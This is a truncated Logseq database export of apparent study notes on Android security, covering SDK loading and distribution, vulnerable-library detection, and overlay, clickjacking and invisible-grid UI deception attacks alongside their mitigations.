logseq____"],536875479]],[logseq____"^15logseq____",[670,logseq____"^;logseq____",logseq____"~u67b9f822-b4ad-4073-a983-e66295915551logseq____",536875472]],[logseq____"^15logseq____",[671,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n participant A as App\\n participant M as SDKManager\\n participant S as SDK\\n \\n A-logseq____>logseq____>A: \\logseq____"Load SDK\\logseq____" (User action/UI)\\n A-logseq____>logseq____>M: loadSdk()\\n M-logseq____>logseq____>S: onLoadSdk()\\n S--logseq____>logseq____>M: onResultCallback()\\n M--logseq____>logseq____>A: onResultCallback()\\n A--logseq____>logseq____>A: result.getInterface() -logseq____> binder\\n A--logseq____>logseq____>A: SdkInterface.Stub.asInterface(binder) -logseq____> mySdkInterface\\n A-logseq____>logseq____>S: mySdkInterface.methodB(callback)\\n S--logseq____>logseq____>A: callback.something\\n```logseq____",536875505]],[logseq____"^15logseq____",[671,logseq____"^Ologseq____",logseq____"^16logseq____",536875482]],[logseq____"^15logseq____",[671,logseq____"^@logseq____",false,536875482]],[logseq____"^15logseq____",[671,logseq____"^Flogseq____",669,536875482]],[logseq____"^15logseq____",[671,logseq____"^Xlogseq____",641,536875482]],[logseq____"^15logseq____",[671,logseq____"^Vlogseq____",667,536875482]],[logseq____"^15logseq____",[671,logseq____"^Ulogseq____",641,536875483]],[logseq____"^15logseq____",[671,logseq____"^?logseq____",[logseq____"^ logseq____"],536875505]],[logseq____"^15logseq____",[671,logseq____"^;logseq____",logseq____"~u67b9f86c-0691-474b-8357-385fa2d56549logseq____",536875482]],[logseq____"^15logseq____",[672,logseq____"^Qlogseq____",logseq____"## SDK Distribution (logseq____>= Android 13)logseq____",536875547]],[logseq____"^15logseq____",[672,logseq____"^Ologseq____",logseq____"^16logseq____",536875495]],[logseq____"^15logseq____",[672,logseq____"^@logseq____",false,536875495]],[logseq____"^15logseq____",[672,logseq____"^Flogseq____",667,536875508]],[logseq____"^15logseq____",[672,logseq____"^Xlogseq____",641,536875495]],[logseq____"^15logseq____",[672,logseq____"^Vlogseq____",641,536875508]],[logseq____"^15logseq____",[672,logseq____"^Ulogseq____",641,536875496]],[logseq____"^15logseq____",[672,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875547]],[logseq____"^15logseq____",[672,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875547]],[logseq____"^15logseq____",[672,logseq____"^;logseq____",logseq____"~u67b9f870-e5ec-4b7b-bb94-5da86fe9c5edlogseq____",536875495]],[logseq____"^15logseq____",[673,logseq____"^Qlogseq____",logseq____"SDK Developers can upload versioned SDKs to app stores separate from appslogseq____",536875551]],[logseq____"^15logseq____",[673,logseq____"^Ologseq____",logseq____"^16logseq____",536875512]],[logseq____"^15logseq____",[673,logseq____"^@logseq____",false,536875512]],[logseq____"^15logseq____",[673,logseq____"^Flogseq____",672,536875512]],[logseq____"^15logseq____",[673,logseq____"^Xlogseq____",641,536875512]],[logseq____"^15logseq____",[673,logseq____"^Vlogseq____",672,536875514]],[logseq____"^15logseq____",[673,logseq____"^Ulogseq____",641,536875548]],[logseq____"^15logseq____",[673,logseq____"^?logseq____",[logseq____"^ logseq____"],536875551]],[logseq____"^15logseq____",[673,logseq____"^;logseq____",logseq____"~u67b9f9c4-1492-4e1c-87ad-a1454b470324logseq____",536875512]],[logseq____"^15logseq____",[674,logseq____"^Qlogseq____",logseq____"Specify SDK dependencies by versionlogseq____",536875579]],[logseq____"^15logseq____",[674,logseq____"^Ologseq____",logseq____"^16logseq____",536875551]],[logseq____"^15logseq____",[674,logseq____"^@logseq____",false,536875551]],[logseq____"^15logseq____",[674,logseq____"^Flogseq____",673,536875551]],[logseq____"^15logseq____",[674,logseq____"^Xlogseq____",641,536875551]],[logseq____"^15logseq____",[674,logseq____"^Vlogseq____",672,536875551]],[logseq____"^15logseq____",[674,logseq____"^Ulogseq____",641,536875552]],[logseq____"^15logseq____",[674,logseq____"^?logseq____",[logseq____"^ logseq____"],536875579]],[logseq____"^15logseq____",[674,logseq____"^;logseq____",logseq____"~u67b9f9f3-fd82-4d41-8ffb-db116380ccc4logseq____",536875551]],[logseq____"^15logseq____",[675,logseq____"^Qlogseq____",logseq____"Build App release not including SDK dependencieslogseq____",536875601]],[logseq____"^15logseq____",[675,logseq____"^Ologseq____",logseq____"^16logseq____",536875579]],[logseq____"^15logseq____",[675,logseq____"^@logseq____",false,536875579]],[logseq____"^15logseq____",[675,logseq____"^Flogseq____",674,536875579]],[logseq____"^15logseq____",[675,logseq____"^Xlogseq____",641,536875579]],[logseq____"^15logseq____",[675,logseq____"^Vlogseq____",672,536875579]],[logseq____"^15logseq____",[675,logseq____"^Ulogseq____",641,536875580]],[logseq____"^15logseq____",[675,logseq____"^?logseq____",[logseq____"^ logseq____"],536875601]],[logseq____"^15logseq____",[675,logseq____"^;logseq____",logseq____"~u67b9fa15-52e5-465b-8130-658e60312a48logseq____",536875579]],[logseq____"^15logseq____",[676,logseq____"^Qlogseq____",logseq____"When app is build on end-user device, correct SDK is downloaded from app storelogseq____",536875614]],[logseq____"^15logseq____",[676,logseq____"^Ologseq____",logseq____"^16logseq____",536875604]],[logseq____"^15logseq____",[676,logseq____"^@logseq____",false,536875604]],[logseq____"^15logseq____",[676,logseq____"^Flogseq____",675,536875604]],[logseq____"^15logseq____",[676,logseq____"^Xlogseq____",641,536875604]],[logseq____"^15logseq____",[676,logseq____"^Vlogseq____",672,536875604]],[logseq____"^15logseq____",[676,logseq____"^Ulogseq____",641,536875605]],[logseq____"^15logseq____",[676,logseq____"^?logseq____",[logseq____"^ logseq____"],536875614]],[logseq____"^15logseq____",[676,logseq____"^;logseq____",logseq____"~u67b9fa2a-58a4-4c70-8452-5195dd1d8930logseq____",536875604]],[logseq____"^15logseq____",[678,logseq____"^Qlogseq____",logseq____"# Topic 4 - UI Deception Attackslogseq____",536875770]],[logseq____"^15logseq____",[678,logseq____"^Ologseq____",logseq____"^16logseq____",536875620]],[logseq____"^15logseq____",[678,logseq____"^Flogseq____",639,536875758]],[logseq____"^15logseq____",[678,logseq____"^Xlogseq____",296,536875620]],[logseq____"^15logseq____",[678,logseq____"^Vlogseq____",296,536875758]],[logseq____"^15logseq____",[678,logseq____"^Ulogseq____",296,536875621]],[logseq____"^15logseq____",[678,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[678,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[678,logseq____"^;logseq____",logseq____"~u67b9fa87-8395-49b9-a71f-802d0638fa47logseq____",536875620]],[logseq____"^15logseq____",[679,logseq____"^Klogseq____",1740241552405,536875624]],[logseq____"^15logseq____",[679,logseq____"^Ologseq____",logseq____"^16logseq____",536875628]],[logseq____"^15logseq____",[679,logseq____"^@logseq____",false,536875624]],[logseq____"^15logseq____",[679,logseq____"^Ylogseq____",logseq____"vulnerable librarieslogseq____",536875624]],[logseq____"^15logseq____",[679,logseq____"^11logseq____",logseq____"Vulnerable Librarieslogseq____",536875624]],[logseq____"^15logseq____",[679,logseq____"^Blogseq____",1740241831209,536875752]],[logseq____"^15logseq____",[679,logseq____"^;logseq____",logseq____"~u67bd79bb-03c6-4958-9591-97beb5fe10f5logseq____",536878163]],[logseq____"^15logseq____",[680,logseq____"^Qlogseq____",logseq____"## Library Detectionlogseq____",536875636]],[logseq____"^15logseq____",[680,logseq____"^Ologseq____",logseq____"^16logseq____",536875629]],[logseq____"^15logseq____",[680,logseq____"^@logseq____",false,536875629]],[logseq____"^15logseq____",[680,logseq____"^Flogseq____",679,536875629]],[logseq____"^15logseq____",[680,logseq____"^Xlogseq____",679,536875629]],[logseq____"^15logseq____",[680,logseq____"^Vlogseq____",679,536875629]],[logseq____"^15logseq____",[680,logseq____"^Ulogseq____",679,536875630]],[logseq____"^15logseq____",[680,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875636]],[logseq____"^15logseq____",[680,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875636]],[logseq____"^15logseq____",[680,logseq____"^;logseq____",logseq____"~u67b9fa91-7ee1-4409-b941-29b2b30173a8logseq____",536875629]],[logseq____"^15logseq____",[682,logseq____"^Qlogseq____",logseq____"Problem: Build chain *merges* app and library code into `classes.dex`logseq____",536875659]],[logseq____"^15logseq____",[682,logseq____"^Ologseq____",logseq____"^16logseq____",536875636]],[logseq____"^15logseq____",[682,logseq____"^@logseq____",false,536875636]],[logseq____"^15logseq____",[682,logseq____"^Flogseq____",680,536875636]],[logseq____"^15logseq____",[682,logseq____"^Xlogseq____",679,536875636]],[logseq____"^15logseq____",[682,logseq____"^Vlogseq____",680,536875638]],[logseq____"^15logseq____",[682,logseq____"^Ulogseq____",679,536875637]],[logseq____"^15logseq____",[682,logseq____"^?logseq____",[logseq____"^ logseq____"],536875659]],[logseq____"^15logseq____",[682,logseq____"^;logseq____",logseq____"~u67b9fad1-3215-49e9-b458-4c6bcb46fcd8logseq____",536875636]],[logseq____"^15logseq____",[683,logseq____"^Qlogseq____",logseq____"Version specific detection is non-trivial (code clustering / library profiling)logseq____",536875695]],[logseq____"^15logseq____",[683,logseq____"^Ologseq____",logseq____"^16logseq____",536875659]],[logseq____"^15logseq____",[683,logseq____"^@logseq____",false,536875659]],[logseq____"^15logseq____",[683,logseq____"^Flogseq____",682,536875659]],[logseq____"^15logseq____",[683,logseq____"^Xlogseq____",679,536875659]],[logseq____"^15logseq____",[683,logseq____"^Vlogseq____",680,536875659]],[logseq____"^15logseq____",[683,logseq____"^Ulogseq____",679,536875660]],[logseq____"^15logseq____",[683,logseq____"^?logseq____",[logseq____"^ logseq____"],536875695]],[logseq____"^15logseq____",[683,logseq____"^;logseq____",logseq____"~u67b9fae3-1c8e-42d8-bae5-173dd31061f4logseq____",536875659]],[logseq____"^15logseq____",[684,logseq____"^12logseq____",2,536875665]],[logseq____"^15logseq____",[685,logseq____"^Qlogseq____",logseq____"Challenges: Dead-code elimination, package flattening, repackaginglogseq____",536875736]],[logseq____"^15logseq____",[685,logseq____"^Ologseq____",logseq____"^16logseq____",536875698]],[logseq____"^15logseq____",[685,logseq____"^@logseq____",false,536875698]],[logseq____"^15logseq____",[685,logseq____"^Flogseq____",683,536875698]],[logseq____"^15logseq____",[685,logseq____"^Xlogseq____",679,536875698]],[logseq____"^15logseq____",[685,logseq____"^Vlogseq____",680,536875708]],[logseq____"^15logseq____",[685,logseq____"^Ulogseq____",679,536875699]],[logseq____"^15logseq____",[685,logseq____"^?logseq____",[logseq____"^ logseq____"],536875736]],[logseq____"^15logseq____",[685,logseq____"^;logseq____",logseq____"~u67b9fb51-5d22-49cc-9d8e-be17e896b445logseq____",536875698]],[logseq____"^15logseq____",[686,logseq____"^Qlogseq____",logseq____"LibID: Use dependency graphslogseq____",536875752]],[logseq____"^15logseq____",[686,logseq____"^Ologseq____",logseq____"^16logseq____",536875739]],[logseq____"^15logseq____",[686,logseq____"^@logseq____",false,536875739]],[logseq____"^15logseq____",[686,logseq____"^Flogseq____",685,536875739]],[logseq____"^15logseq____",[686,logseq____"^Xlogseq____",679,536875739]],[logseq____"^15logseq____",[686,logseq____"^Vlogseq____",680,536875739]],[logseq____"^15logseq____",[686,logseq____"^Ulogseq____",679,536875740]],[logseq____"^15logseq____",[686,logseq____"^?logseq____",[logseq____"^ logseq____"],536875752]],[logseq____"^15logseq____",[686,logseq____"^;logseq____",logseq____"~u67b9fb9f-3e9c-4b4e-906f-9e1f4e81bed5logseq____",536875739]],[logseq____"^15logseq____",[687,logseq____"^12logseq____",2,536875756]],[logseq____"^15logseq____",[688,logseq____"^Qlogseq____",logseq____"## [[Phishing]]logseq____",536875777]],[logseq____"^15logseq____",[688,logseq____"^Ologseq____",logseq____"^16logseq____",536875770]],[logseq____"^15logseq____",[688,logseq____"^Flogseq____",678,536875770]],[logseq____"^15logseq____",[688,logseq____"^Xlogseq____",296,536875770]],[logseq____"^15logseq____",[688,logseq____"^Vlogseq____",678,536875772]],[logseq____"^15logseq____",[688,logseq____"^Ulogseq____",296,536875778]],[logseq____"^15logseq____",[688,logseq____"^Ulogseq____",689,536875778]],[logseq____"^15logseq____",[688,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[688,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[688,logseq____"^Hlogseq____",689,536878163]],[logseq____"^15logseq____",[688,logseq____"^;logseq____",logseq____"~u67bae06b-c383-4a6c-8c10-e244314e9248logseq____",536875770]],[logseq____"^15logseq____",[689,logseq____"^Klogseq____",1740300406131,536875777]],[logseq____"^15logseq____",[689,logseq____"^Ologseq____",logseq____"^16logseq____",536875785]],[logseq____"^15logseq____",[689,logseq____"^@logseq____",false,536875777]],[logseq____"^15logseq____",[689,logseq____"^Ylogseq____",logseq____"phishinglogseq____",536875777]],[logseq____"^15logseq____",[689,logseq____"^11logseq____",logseq____"Phishinglogseq____",536875777]],[logseq____"^15logseq____",[689,logseq____"^Blogseq____",1740318925498,536876560]],[logseq____"^15logseq____",[689,logseq____"^;logseq____",logseq____"~u67bd79bb-a016-49bc-ac85-0fbc5285d1eclogseq____",536878163]],[logseq____"^15logseq____",[690,logseq____"^Qlogseq____",logseq____"# Topic 5 - Network Securitylogseq____",536876573]],[logseq____"^15logseq____",[690,logseq____"^Ologseq____",logseq____"^16logseq____",536875781]],[logseq____"^15logseq____",[690,logseq____"^@logseq____",false,536875781]],[logseq____"^15logseq____",[690,logseq____"^Flogseq____",678,536875781]],[logseq____"^15logseq____",[690,logseq____"^Xlogseq____",296,536875781]],[logseq____"^15logseq____",[690,logseq____"^Vlogseq____",296,536875781]],[logseq____"^15logseq____",[690,logseq____"^Ulogseq____",296,536875782]],[logseq____"^15logseq____",[690,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[690,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[690,logseq____"^;logseq____",logseq____"~u67bae078-3cf5-4774-aeed-6955c869764blogseq____",536875781]],[logseq____"^15logseq____",[691,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536875789]],[logseq____"^15logseq____",[691,logseq____"^Ologseq____",logseq____"^16logseq____",536875786]],[logseq____"^15logseq____",[691,logseq____"^@logseq____",false,536875786]],[logseq____"^15logseq____",[691,logseq____"^Flogseq____",689,536875786]],[logseq____"^15logseq____",[691,logseq____"^Xlogseq____",689,536875786]],[logseq____"^15logseq____",[691,logseq____"^Vlogseq____",689,536875786]],[logseq____"^15logseq____",[691,logseq____"^Ulogseq____",689,536875787]],[logseq____"^15logseq____",[691,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876194]],[logseq____"^15logseq____",[691,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[691,logseq____"^;logseq____",logseq____"~u67bae079-f754-42fd-ab92-4c7b9d81bbd1logseq____",536875786]],[logseq____"^15logseq____",[692,logseq____"^Qlogseq____",logseq____"*Local* attacker(malicious app installed)logseq____",536875819]],[logseq____"^15logseq____",[692,logseq____"^Ologseq____",logseq____"^16logseq____",536875789]],[logseq____"^15logseq____",[692,logseq____"^@logseq____",false,536875789]],[logseq____"^15logseq____",[692,logseq____"^Flogseq____",691,536875789]],[logseq____"^15logseq____",[692,logseq____"^Xlogseq____",689,536875789]],[logseq____"^15logseq____",[692,logseq____"^Vlogseq____",691,536875791]],[logseq____"^15logseq____",[692,logseq____"^Ulogseq____",689,536875790]],[logseq____"^15logseq____",[692,logseq____"^;logseq____",logseq____"~u67bae0bb-c672-4bf0-910d-53ff48def946logseq____",536875789]],[logseq____"^15logseq____",[694,logseq____"^Qlogseq____",logseq____"Steal sensitive informationlogseq____",536875841]],[logseq____"^15logseq____",[694,logseq____"^Ologseq____",logseq____"^16logseq____",536875819]],[logseq____"^15logseq____",[694,logseq____"^@logseq____",false,536875819]],[logseq____"^15logseq____",[694,logseq____"^Flogseq____",692,536875819]],[logseq____"^15logseq____",[694,logseq____"^Xlogseq____",689,536875819]],[logseq____"^15logseq____",[694,logseq____"^Vlogseq____",691,536875819]],[logseq____"^15logseq____",[694,logseq____"^Ulogseq____",689,536875820]],[logseq____"^15logseq____",[694,logseq____"^;logseq____",logseq____"~u67bae0d4-0b91-4643-863e-e6cb7a55d371logseq____",536875819]],[logseq____"^15logseq____",[695,logseq____"^Qlogseq____",logseq____"UI feedback loop:logseq____",536875854]],[logseq____"^15logseq____",[695,logseq____"^Ologseq____",logseq____"^16logseq____",536875844]],[logseq____"^15logseq____",[695,logseq____"^@logseq____",false,536875844]],[logseq____"^15logseq____",[695,logseq____"^Flogseq____",694,536875844]],[logseq____"^15logseq____",[695,logseq____"^Xlogseq____",689,536875844]],[logseq____"^15logseq____",[695,logseq____"^Vlogseq____",691,536875844]],[logseq____"^15logseq____",[695,logseq____"^Ulogseq____",689,536875845]],[logseq____"^15logseq____",[695,logseq____"^;logseq____",logseq____"~u67bae431-a8a6-4ebd-8091-f1438cfdf60blogseq____",536875844]],[logseq____"^15logseq____",[696,logseq____"^Qlogseq____",logseq____"Modify what the user seeslogseq____",536875861]],[logseq____"^15logseq____",[696,logseq____"^Ologseq____",logseq____"^16logseq____",536875854]],[logseq____"^15logseq____",[696,logseq____"^@logseq____",false,536875854]],[logseq____"^15logseq____",[696,logseq____"^Flogseq____",695,536875854]],[logseq____"^15logseq____",[696,logseq____"^Xlogseq____",689,536875854]],[logseq____"^15logseq____",[696,logseq____"^Vlogseq____",695,536875856]],[logseq____"^15logseq____",[696,logseq____"^Ulogseq____",689,536875855]],[logseq____"^15logseq____",[696,logseq____"^;logseq____",logseq____"~u67bae436-a550-43d7-86c7-6dc413654ea7logseq____",536875854]],[logseq____"^15logseq____",[697,logseq____"^Qlogseq____",logseq____"Know what is currently displayedlogseq____",536875875]],[logseq____"^15logseq____",[697,logseq____"^Ologseq____",logseq____"^16logseq____",536875861]],[logseq____"^15logseq____",[697,logseq____"^@logseq____",false,536875861]],[logseq____"^15logseq____",[697,logseq____"^Flogseq____",696,536875861]],[logseq____"^15logseq____",[697,logseq____"^Xlogseq____",689,536875861]],[logseq____"^15logseq____",[697,logseq____"^Vlogseq____",695,536875861]],[logseq____"^15logseq____",[697,logseq____"^Ulogseq____",689,536875862]],[logseq____"^15logseq____",[697,logseq____"^;logseq____",logseq____"~u67bae43b-70bf-4060-8c17-72b2aba973c9logseq____",536875861]],[logseq____"^15logseq____",[699,logseq____"^Qlogseq____",logseq____"User input injectionlogseq____",536875879]],[logseq____"^15logseq____",[699,logseq____"^Ologseq____",logseq____"^16logseq____",536875875]],[logseq____"^15logseq____",[699,logseq____"^@logseq____",false,536875875]],[logseq____"^15logseq____",[699,logseq____"^Flogseq____",697,536875875]],[logseq____"^15logseq____",[699,logseq____"^Xlogseq____",689,536875875]],[logseq____"^15logseq____",[699,logseq____"^Vlogseq____",695,536875875]],[logseq____"^15logseq____",[699,logseq____"^Ulogseq____",689,536875876]],[logseq____"^15logseq____",[699,logseq____"^;logseq____",logseq____"~u67bae441-5eb8-4057-bbad-43e513a19260logseq____",536875875]],[logseq____"^15logseq____",[700,logseq____"^Qlogseq____",logseq____"Know what the user inputs and whenlogseq____",536875883]],[logseq____"^15logseq____",[700,logseq____"^Ologseq____",logseq____"^16logseq____",536875879]],[logseq____"^15logseq____",[700,logseq____"^@logseq____",false,536875879]],[logseq____"^15logseq____",[700,logseq____"^Flogseq____",699,536875879]],[logseq____"^15logseq____",[700,logseq____"^Xlogseq____",689,536875879]],[logseq____"^15logseq____",[700,logseq____"^Vlogseq____",695,536875879]],[logseq____"^15logseq____",[700,logseq____"^Ulogseq____",689,536875880]],[logseq____"^15logseq____",[700,logseq____"^;logseq____",logseq____"~u67bae445-c275-4976-9f83-7df5e6e38642logseq____",536875879]],[logseq____"^15logseq____",[701,logseq____"^Qlogseq____",logseq____"## UI Redressing / Clickjacking / Overlay Attackslogseq____",536875911]],[logseq____"^15logseq____",[701,logseq____"^Ologseq____",logseq____"^16logseq____",536875883]],[logseq____"^15logseq____",[701,logseq____"^@logseq____",false,536875883]],[logseq____"^15logseq____",[701,logseq____"^Flogseq____",691,536875890]],[logseq____"^15logseq____",[701,logseq____"^Xlogseq____",689,536875883]],[logseq____"^15logseq____",[701,logseq____"^Vlogseq____",689,536875890]],[logseq____"^15logseq____",[701,logseq____"^Ulogseq____",689,536875884]],[logseq____"^15logseq____",[701,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876194]],[logseq____"^15logseq____",[701,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[701,logseq____"^;logseq____",logseq____"~u67bae44b-80dc-48fe-9bc3-3c354fe1794alogseq____",536875883]],[logseq____"^15logseq____",[702,logseq____"^Qlogseq____",logseq____"logseq____",536876172]],[logseq____"^15logseq____",[702,logseq____"^Ologseq____",logseq____"^16logseq____",536875896]],[logseq____"^15logseq____",[702,logseq____"^@logseq____",false,536875896]],[logseq____"^15logseq____",[702,logseq____"^Flogseq____",705,536876181]],[logseq____"^15logseq____",[702,logseq____"^Xlogseq____",689,536875896]],[logseq____"^15logseq____",[702,logseq____"^Vlogseq____",701,536876181]],[logseq____"^15logseq____",[702,logseq____"^Ulogseq____",689,536876166]],[logseq____"^15logseq____",[702,logseq____"^;logseq____",logseq____"~u67bae455-31cf-42ed-b86b-48a4494a0aa5logseq____",536875896]],[logseq____"^15logseq____",[703,logseq____"^Qlogseq____",logseq____"Convince user to click on something while overlapping mutliple viewslogseq____",536875924]],[logseq____"^15logseq____",[703,logseq____"^Ologseq____",logseq____"^16logseq____",536875911]],[logseq____"^15logseq____",[703,logseq____"^@logseq____",false,536875911]],[logseq____"^15logseq____",[703,logseq____"^Flogseq____",701,536875911]],[logseq____"^15logseq____",[703,logseq____"^Xlogseq____",689,536875911]],[logseq____"^15logseq____",[703,logseq____"^Vlogseq____",701,536875911]],[logseq____"^15logseq____",[703,logseq____"^Ulogseq____",689,536875912]],[logseq____"^15logseq____",[703,logseq____"^;logseq____",logseq____"~u67bae46d-98ac-47e7-b6eb-562a1b83f0dflogseq____",536875911]],[logseq____"^15logseq____",[704,logseq____"^Qlogseq____",logseq____"User clicks on top view but event is not caught and, thus, passed to lower viewlogseq____",536875955]],[logseq____"^15logseq____",[704,logseq____"^Ologseq____",logseq____"^16logseq____",536875927]],[logseq____"^15logseq____",[704,logseq____"^@logseq____",false,536875927]],[logseq____"^15logseq____",[704,logseq____"^Flogseq____",703,536875927]],[logseq____"^15logseq____",[704,logseq____"^Xlogseq____",689,536875927]],[logseq____"^15logseq____",[704,logseq____"^Vlogseq____",701,536875927]],[logseq____"^15logseq____",[704,logseq____"^Ulogseq____",689,536875928]],[logseq____"^15logseq____",[704,logseq____"^;logseq____",logseq____"~u67bae4aa-b112-4898-beb5-6561b8ce7298logseq____",536875927]],[logseq____"^15logseq____",[705,logseq____"^Qlogseq____",logseq____"Android allows for creating Overlays with `SYSTEM_ALERT` permissionlogseq____",536875965]],[logseq____"^15logseq____",[705,logseq____"^Ologseq____",logseq____"^16logseq____",536875955]],[logseq____"^15logseq____",[705,logseq____"^@logseq____",false,536875955]],[logseq____"^15logseq____",[705,logseq____"^Flogseq____",704,536875955]],[logseq____"^15logseq____",[705,logseq____"^Xlogseq____",689,536875955]],[logseq____"^15logseq____",[705,logseq____"^Vlogseq____",701,536875955]],[logseq____"^15logseq____",[705,logseq____"^Ulogseq____",689,536875956]],[logseq____"^15logseq____",[705,logseq____"^;logseq____",logseq____"~u67bae4ce-23bf-48c1-8444-04f5dfcd829flogseq____",536875955]],[logseq____"^15logseq____",[706,logseq____"^Qlogseq____",logseq____"~`obscured` flag lets underlying application know that the window was obscuredlogseq____",536875996]],[logseq____"^15logseq____",[706,logseq____"^Ologseq____",logseq____"^16logseq____",536875965]],[logseq____"^15logseq____",[706,logseq____"^@logseq____",false,536875965]],[logseq____"^15logseq____",[706,logseq____"^Flogseq____",705,536875965]],[logseq____"^15logseq____",[706,logseq____"^Xlogseq____",689,536875965]],[logseq____"^15logseq____",[706,logseq____"^Vlogseq____",705,536875969]],[logseq____"^15logseq____",[706,logseq____"^Ulogseq____",689,536875966]],[logseq____"^15logseq____",[706,logseq____"^;logseq____",logseq____"~u67bae4d9-3660-4bb5-a422-7f48e1f92145logseq____",536875965]],[logseq____"^15logseq____",[707,logseq____"^Qlogseq____",logseq____"~`setFilterTouchesWhenObscured` as alternative optionlogseq____",536876018]],[logseq____"^15logseq____",[707,logseq____"^Ologseq____",logseq____"^16logseq____",536875996]],[logseq____"^15logseq____",[707,logseq____"^@logseq____",false,536875996]],[logseq____"^15logseq____",[707,logseq____"^Flogseq____",706,536876003]],[logseq____"^15logseq____",[707,logseq____"^Xlogseq____",689,536875996]],[logseq____"^15logseq____",[707,logseq____"^Vlogseq____",705,536876003]],[logseq____"^15logseq____",[707,logseq____"^Ulogseq____",689,536875997]],[logseq____"^15logseq____",[707,logseq____"^;logseq____",logseq____"~u67bae572-770d-4c12-94aa-5a81870759f8logseq____",536875996]],[logseq____"^15logseq____",[708,logseq____"^Qlogseq____",logseq____"Can be mitigated via \\logseq____"Context Hiding\\logseq____" (overlay whole screen except some area)logseq____",536876046]],[logseq____"^15logseq____",[708,logseq____"^Ologseq____",logseq____"^16logseq____",536876018]],[logseq____"^15logseq____",[708,logseq____"^@logseq____",false,536876018]],[logseq____"^15logseq____",[708,logseq____"^Flogseq____",707,536876025]],[logseq____"^15logseq____",[708,logseq____"^Xlogseq____",689,536876018]],[logseq____"^15logseq____",[708,logseq____"^Vlogseq____",705,536876025]],[logseq____"^15logseq____",[708,logseq____"^Ulogseq____",689,536876019]],[logseq____"^15logseq____",[708,logseq____"^;logseq____",logseq____"~u67bae583-3a87-41e4-93ea-0784abb32b86logseq____",536876018]],[logseq____"^15logseq____",[709,logseq____"^Qlogseq____",logseq____"### Invisible Grid Attacklogseq____",536876066]],[logseq____"^15logseq____",[709,logseq____"^Ologseq____",logseq____"^16logseq____",536876049]],[logseq____"^15logseq____",[709,logseq____"^@logseq____",false,536876049]],[logseq____"^15logseq____",[709,logseq____"^Flogseq____",708,536876068]],[logseq____"^15logseq____",[709,logseq____"^Xlogseq____",689,536876049]],[logseq____"^15logseq____",[709,logseq____"^Vlogseq____",705,536876068]],[logseq____"^15logseq____",[709,logseq____"^Ulogseq____",689,536876050]],[logseq____"^15logseq____",[709,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876194]],[logseq____"^15logseq____",[709,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[709,logseq____"^;logseq____",logseq____"~u67bae633-5187-440d-b59e-c28d4ca661c5logseq____",536876049]],[logseq____"^15logseq____",[710,logseq____"^Qlogseq____",logseq____"Draw multiple partly overlapping overlayslogseq____",536876084]],[logseq____"^15logseq____",[710,logseq____"^Ologseq____",logseq____"^16logseq____",536876070]],[logseq____"^15logseq____",[710,logseq____"^@logseq____",false,536876070]],[logseq____"^15logseq____",[710,logseq____"^Flogseq____",709,536876070]],[logseq____"^15logseq____",[710,logseq____"^Xlogseq____",689,536876070]],[logseq____"^15logseq____",[710,logseq____"^Vlogseq____",709,536876070]],[logseq____"^15logseq____",[710,logseq____"^Ulogseq____",689,536876071]],[logseq____"^15logseq____",[710,logseq____"^;logseq____",logseq____"~u67bae63d-a091-4b75-8963-19766e592989logseq____",536876070]],[logseq____"^15logseq____",[711,logseq____"^Qlogseq____",logseq____"Combinations of obscured overlays reveals actual clicked locationlogseq____",536876106]],[logseq____"^15logseq____",[711,logseq____"^Ologseq____",logseq____"^16logseq____",536876085]],[logseq____"^15logseq____",[711,logseq____"^@logseq____",false,536876085]],[logseq____"^15logseq____",[711,logseq____"^Flogseq____",710,536876085]],[logseq____"^15logseq____",[711,logseq____"^Xlogseq____",689,536876085]],[logseq____"^15logseq____",[711,logseq____"^Vlogseq____",709,536876085]],[logseq____"^15logseq____",[711,logseq____"^Ulogseq____",689,536876086]],[logseq____"^15logseq____",[711,logseq____"^;logseq____",logseq____"~u67bae649-1341-4709-83b3-5b49a3243d68logseq____",536876085]],[logseq____"^15logseq____",[712,logseq____"^Qlogseq____",logseq____"[Cloak logseq____& Dagger](https://cloak-and-dagger.org) attacklogseq____",536876165]],[logseq____"^15logseq____",[712,logseq____"^Ologseq____",logseq____"^16logseq____",536876109]],[logseq____"^15logseq____",[712,logseq____"^@logseq____",false,536876109]],[logseq____"^15logseq____",[712,logseq____"^Flogseq____",711,536876129]],[logseq____"^15logseq____",[712,logseq____"^Xlogseq____",689,536876109]],[logseq____"^15logseq____",[712,logseq____"^Vlogseq____",709,536876129]],[logseq____"^15logseq____",[712,logseq____"^Ulogseq____",689,536876110]],[logseq____"^15logseq____",[712,logseq____"^;logseq____",logseq____"~u67bae69e-bddf-45c9-b77b-27b0f277e8eelogseq____",536876109]],[logseq____"^15logseq____",[713,logseq____"^12logseq____",2,536876185]],[logseq____"^15logseq____",[714,logseq____"^12logseq____",2,536876188]],[logseq____"^15logseq____",[715,logseq____"^Qlogseq____",logseq____"~`android:allowTaskReparenting`: Can move activity from task that started it to another 